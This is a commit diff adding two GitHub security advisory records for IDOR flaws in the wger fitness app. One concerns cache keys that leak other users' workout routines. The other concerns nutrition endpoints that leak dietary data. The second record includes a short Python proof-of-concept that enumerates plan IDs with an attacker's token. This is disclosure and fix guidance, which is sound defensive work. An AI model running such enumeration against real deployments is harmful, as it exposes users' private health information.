Skip to content

Commit 2f7f805

Browse files
1 parent 6702825 commit 2f7f805

2 files changed

Lines changed: 114 additions & 0 deletions

File tree

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-42cr-w2gr-m54q",
4+
"modified": "2026-02-26T22:15:30Z",
5+
"published": "2026-02-26T22:15:30Z",
6+
"aliases": [
7+
"CVE-2026-27838"
8+
],
9+
"summary": "wger: IDOR via user-unscoped cache keys on routine API actions exposes workout data",
10+
"details": "### Summary\n\nFive routine detail action endpoints check a cache before calling `self.get_object()`. Cache keys are scoped only by `pk` — no user ID is included. When a victim has previously accessed their routine via the API, an attacker can retrieve the cached response for the same PK without any ownership check.\n\n### Details\n\n`wger/manager/api/views.py` — five actions follow this pattern (lines 134–201):\n\n```python\n@action(detail=True)\ndef date_sequence_display_mode(self, request, pk=None):\n cache_key = make_routine_api_date_sequence_display_cache_key(pk)\n cached = cache.get(cache_key)\n if cached:\n return Response(cached) # returned WITHOUT calling self.get_object()\n # only reaches ownership check on cache miss\n routine = self.get_object()\n ...\n```\n\nCache key construction in `wger/utils/cache.py:89–106`:\n\n```python\ndef make_routine_api_date_sequence_display_cache_key(routine_id):\n return f\"routine-api-date-sequence-display-{routine_id}\"\n # No user ID in key\n```\n\nCache TTL: 1 month (`4 * 604800` seconds, `settings_global.py:461`).\n\nAffected endpoints:\n```\nGET /api/v2/routine/{pk}/date-sequence-display/\nGET /api/v2/routine/{pk}/date-sequence-gym/\nGET /api/v2/routine/{pk}/structure/\nGET /api/v2/routine/{pk}/logs/\nGET /api/v2/routine/{pk}/stats/\n```\n\n### PoC\n\n```\n1. Victim (user A) visits GET /api/v2/routine/5/structure/ → response cached under key \"routine-api-structure-5\"\n2. Attacker (user B) visits GET /api/v2/routine/5/structure/ → cache hit → returns user A's routine structure without any ownership check\n```\n\nRequires the victim to have previously accessed the endpoint (cache must be populated). Once populated, the cache entry is valid for 1 month.\n\n### Impact\n\nAn attacker with a registered account can retrieve another user's routine details — workout day sequences, exercise structure, training logs, and statistics — from cache without ownership verification.\n\n**Fix**: Include the user ID in the cache key:\n```python\ndef make_routine_api_date_sequence_display_cache_key(routine_id, user_id):\n return f\"routine-api-date-sequence-display-{user_id}-{routine_id}\"\n```\n\nOr move `self.get_object()` before the cache lookup so ownership is always verified first.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "wger"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "2.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-42cr-w2gr-m54q"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/wger-project/wger"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-639"
51+
],
52+
"severity": "LOW",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-02-26T22:15:30Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-g8gc-6c4h-jg86",
4+
"modified": "2026-02-26T22:15:51Z",
5+
"published": "2026-02-26T22:15:51Z",
6+
"aliases": [
7+
"CVE-2026-27839"
8+
],
9+
"summary": "wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup",
10+
"details": "## Summary\n\nThree `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.\n\n### Details\n\nDRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:\n\n`wger/nutrition/api/views.py`:\n\n```python\n# line 301 — NutritionPlanViewSet\nplan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check\n\n# line 356 — MealViewSet\nmeal = Meal.objects.get(pk=pk) # VULNERABLE\n\n# line 403 — MealItemViewSet\nmeal_item = MealItem.objects.get(pk=pk) # VULNERABLE\n```\n\nThe correct pattern used in the same file at `LogItemViewSet` (line 438):\n\n```python\nLogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT\n```\n\nAffected endpoints:\n```\nGET /api/v2/nutritionplan/{pk}/nutritional_values/\nGET /api/v2/meal/{pk}/nutritional_values/\nGET /api/v2/mealitem/{pk}/nutritional_values/\n```\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\n# Attacker's token (any registered user)\nheaders = {\"Authorization\": \"Token ATTACKER_TOKEN\"}\n\n# Read victim's nutrition plan — enumerate pk starting from 1\nfor pk in range(1, 100):\n r = requests.get(\n f\"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/\",\n headers=headers\n )\n if r.status_code == 200:\n data = r.json()\n print(f\"Plan {pk}: {data}\")\n # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,\n # fat, fat_saturated, fiber, sodium\n```\n\nNo interaction from the victim required. Registration is open by default. PKs are sequential integers.\n\n### Impact\n\nAny authenticated user can read other users' private dietary and health data:\n- Daily caloric intake\n- Protein, carbohydrate, fat, fiber, and sodium intake\n- Full meal composition and ingredient quantities\n\nThis data is sensitive health information users expect to be private.\n\n**Fix**: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "wger"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "2.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-g8gc-6c4h-jg86"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/wger-project/wger"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-639"
51+
],
52+
"severity": "MODERATE",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-02-26T22:15:51Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)